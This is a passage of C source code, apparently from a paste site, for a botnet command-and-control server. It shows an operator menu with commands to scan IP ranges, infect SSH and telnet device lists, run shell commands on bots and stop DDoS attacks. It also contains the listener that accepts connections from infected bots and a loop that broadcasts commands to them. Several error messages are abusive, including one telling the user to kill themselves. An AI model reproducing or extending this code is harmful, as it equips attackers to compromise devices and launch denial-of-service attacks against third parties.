  724. sprintf(helpline12, "\x1b[37mRanges \x1b[36m- \x1b[37mRANGE 1-5\r\n");
  725. sprintf(helpline13, "\x1b[37mRanges \x1b[36m- \x1b[37mRANGE 6-10\r\n");
  726. sprintf(helpline14, "\x1b[37mSTOP \x1b[36m- \x1b[37mStops Scanning\r\n");
  727.  
  728. sprintf(helpline15, "\x1b[36m[\x1b[37m+\x1b[36m]\x1b[35mADMIN COMMANDS\x1b[36m[\x1b[37m+\x1b[36m] \r\n");
  729.  
  730. sprintf(helpline16, "\x1b[37mSHELL \x1b[36m- \x1b[37m!* SH <args>\r\n");
  731. sprintf(helpline17, "\x1b[37mBOTS \x1b[36m- \x1b[37mList SSH Servers\r\n");
  732. sprintf(helpline18, "\x1b[37mSTATS \x1b[36m- \x1b[37mList SSH/Telnet/Admins\r\n");
  733.  
  734. sprintf(helpline19, "\x1b[36m[\x1b[37m+\x1b[36m]\x1b[35mMISC COMMANDS\x1b[36m[\x1b[37m+\x1b[36m]\r\n");
  735.  
  736. sprintf(helpline20, "\x1b[37mFILTER \x1b[36m- \x1b[37mFilters Bots\r\n");
  737. sprintf(helpline21, "\x1b[37mINFECT \x1b[36m- \x1b[37mInfect filtered.txt\r\n");
  738. sprintf(helpline23, "\x1b[37mREINFECT \x1b[36m- \x1b[37mInfects filtered_ssh.txt\r\n");
  739. sprintf(helpline24, "\x1b[37mCLEAR \x1b[36m- \x1b[37mClears Screen\r\n");
  740. sprintf(helpline25, "\x1b[37mLOGOUT \x1b[36m- \x1b[37mExit da net\r\n");
  741.  
  742.  
  743.  
  744. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  745. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  746. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  747. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  748. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  749. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  750. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  751. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  752. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  753. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  754. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  755. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  756. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  757. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  758. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  759. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  760. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  761. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  762. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  763. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  764. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  765. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  766. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  767. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  768. pthread_create(&title, NULL, &TitleWriter, sock);
  769. continue;
  770. }
  771. if(strstr(buf, "KILL"))
  772. {
  773. char killattack [2048];
  774. memset(killattack, 0, 2048);
  775. char killattack_msg [2048];
  776.  
  777. sprintf(killattack, "!* KILLATTCK\r\n");
  778. broadcast(killattack, datafd, "!* KILLATTK");
  779.  
  780. sprintf(killattack_msg, "DD0S Attacked Stopped\r\n");
  781. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  782. continue;
  783. }
  784. if(strstr(buf, "CLEAR"))
  785. {
  786. char clearscreen [2048];
  787. memset(clearscreen, 0, 2048);
  788. sprintf(clearscreen, "\033[2J\033[1;1H");
  789. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  790. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  791. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  792. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  793. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  794. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  795. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  796. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  797. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  798. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  799. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  800. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  801. while(1) {
  802. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  803. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  804. break;
  805. }
  806. continue;
  807. }
  808. if(strstr(buf, "LOGOUT"))
  809. {
  810. char logoutmessage [2048];
  811. memset(logoutmessage, 0, 2048);
  812. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  813. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  814. sleep(5);
  815. goto end;
  816. }
  817. trim(buf);
  818. if(send(datafd, "\x1b[36m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  819. if(strlen(buf) == 0) continue;
  820. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  821.  
  822. FILE *LogFile;
  823. LogFile = fopen("server_log.txt", "a");
  824. time_t now;
  825. struct tm *gmt;
  826. char formatted_gmt [50];
  827. char lcltime[50];
  828. now = time(NULL);
  829. gmt = gmtime(&now);
  830. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  831. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  832. fclose(LogFile);
  833. broadcast(buf, datafd, accounts[find_line].username);
  834. memset(buf, 0, 2048);
  835. }
  836. end:
  837. managements[datafd].connected = 0;
  838. close(datafd);
  839. OperatorsConnected--;
  840. }
  841. void *BotListener(int port) {
  842. int sockfd, newsockfd;
  843. socklen_t clilen;
  844. struct sockaddr_in serv_addr, cli_addr;
  845. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  846. if (sockfd < 0) perror("Read the fucking guide");
  847. bzero((char *) &serv_addr, sizeof(serv_addr));
  848. serv_addr.sin_family = AF_INET;
  849. serv_addr.sin_addr.s_addr = INADDR_ANY;
  850. serv_addr.sin_port = htons(port);
  851. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("You stupid Mutthabitch");
  852. listen(sockfd,5);
  853. clilen = sizeof(cli_addr);
  854. while(1) {
  855. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  856. if (newsockfd < 0) perror("Just kys now");
  857. pthread_t thread;
  858. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  859. }}
  860. int main (int argc, char *argv[], void *sock)//~B1NARY~
  861. {
  862. signal(SIGPIPE, SIG_IGN);
  863. int s, threads, port;
  864. struct epoll_event event;
  865. if (argc != 4) {
  866. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  867. exit (EXIT_FAILURE);
  868. }
  869. port = atoi(argv[3]);
  870. telFD = fopen("telnet.txt", "a+");
  871. threads = atoi(argv[2]);
  872. listenFD = create_and_bind (argv[1]);
  873. if (listenFD == -1) abort ();
  874. s = make_socket_non_blocking (listenFD);
  875. if (s == -1) abort ();
  876. s = listen (listenFD, SOMAXCONN);
  877. if (s == -1) {
  878. perror ("listen");
  879. abort ();
  880. }
  881. epollFD = epoll_create1 (0);
  882. if (epollFD == -1) {
  883. perror ("epoll_create");
  884. abort ();
  885. }
  886. event.data.fd = listenFD;
  887. event.events = EPOLLIN | EPOLLET;
  888. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  889. if (s == -1) {
  890. perror ("epoll_ctl");
  891. abort ();
  892. }
  893. pthread_t thread[threads + 2];
  894. while(threads--) {
  895. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  896. }
  897. pthread_create(&thread[0], NULL, &BotListener, port);
  898. while(1) {
  899. broadcast("PING", -1, "LEL");
  900. sleep(60);
  901. }
  902. close (listenFD);
  903. return EXIT_SUCCESS;
  904. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement